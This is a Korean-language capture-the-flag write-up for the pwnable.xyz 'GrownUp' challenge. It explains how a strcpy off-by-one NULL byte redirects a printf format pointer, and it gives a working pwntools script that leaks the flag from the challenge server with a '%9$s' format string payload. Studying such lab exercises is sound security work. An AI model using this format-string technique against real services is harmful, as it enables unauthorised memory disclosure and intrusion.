WAR GAME/pwnable.xyz

[pwnable.xyz] GrownUp 풀이 (64bit, fsb, strcpy)

jir4vvit 2021. 5. 4. 14:58

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

strcpy는 NULL까지 읽어서 복사


주어진 파일은 문제 파일 바이너리

Flag바이너리 파일 안에 있다고 한다. 셸을 따는 문제가 아닌 것 같다.

Analysis

mitigation

execution

N를 입력하면 프로그램이 종료된다. 그래서 y를 입력해야 한다.

fsb 문제인가 하고 한번 입력해봤는데.. 그냥 그대로 출력해준다. 코드를 확인해보자.

code

main

입력을 두 번한다.

처음에 yY를 입력하지 않으면 종료된다. 한글자만 입력하면 되는데 신기하게 더 입력할 수 있다.. 16글자까지 입력이 가능하다. 

 

그리고 read함수로 src에 입력을 받고 strcpy 함수로 usr에 복사를 한다. usr는 bss 영역에 있어 전역변수라고 생각할 수 있다.

read() : 문자열의 마지막에 NULL 값을 넣지 않는다.

strcpy() : 복사할 문자열에서 NULL 값이 나올 때까지 읽어 복사한다.

 

src0x84(132)만큼 malloc이 되고, read함수0x80(128)만큼 쓸 수 있다.

read함수로 B를 0x20만큼 쓴 결과이다. 

그러고 이제 strcpy() 함수 NULL까지 읽어서 복사 하는데, 그럼 최종적으로 20byte가 아닌 21byte가 복사되어 넘어가게 된다.

usr로 복사를 하고 usr를 살펴보면 0x601160 자리에 0x601168이 저장되어 있고, 0x601168 주소에 0xa7325라는..

%s\n이 저장되어 있다.

 

참고로 이렇게.. 직관적으로 IDA에서 확인도 가능하다. 

그리고 좀 더 스크롤을 위로 하다보면 바로 Flag가 눈에 보인다. (문제에서 바이너리 안에 있다고 했는데 이 소리인 것 같다.)

Exploit Scenario

Summary

  1. <'yyyyyyyy' + flag주소> 전송
  2. <'A' * 0x20 + '%9$s' + (0x80-len(payload)> 전송

strcpy 함수NULL까지 복사한다는 것을 이용해서 fsb를 트리거할 수 있다.

read함수로 입력을 0x80 꽉꽉 채워서 한 다음, strcpy 함수복사를 하면 마지막 1바이트가 0x601168을 덮어서 0x601100으로 만들 것이다.

이렇게 말이다...

그러면 이제 printf할 때 format은... 0x601100 주소가 될 것이다.

그럼 저 주소에다가 포맷 스트링.. %p%s같은거 넣고 fsb를 직접 트리거 할 수 있다.

처음에 read 함수y를 입력하는거 혹시 기억나는가?? 16글자까지 입력이 가능했는데, 'yyyyyyyy' + 'AAAAAAAA'를 주고 한번 테스트를 진행을 해보도록 하겠다. 나중에 실제 flag를 딸 때는 'AAAAAAAA' 주소에 flag의 주소가 와야할 것이다.

 

offset이 9이다.

 

저기다가 flag 주소주고.. %p 대신에 %s를 주면 주소의 내용이 출력이 될 것이다.

Exploit Code

from pwn import *

#p = process('./GrownUpRedist')
p = remote('svc.pwnable.xyz', 30004)
e = ELF('./GrownUpRedist')

flag = 0x601080

payload = ''
payload += 'yyyyyyyy'+p64(0x601080)
p.sendafter(': ', payload)

# offset 9
payload = ''
payload += 'A' * 0x20
payload += '%9$s'
payload += 'A'* (0x80-len(payload))

print len(payload)
pause()
p.sendafter(': ', payload)

p.interactive()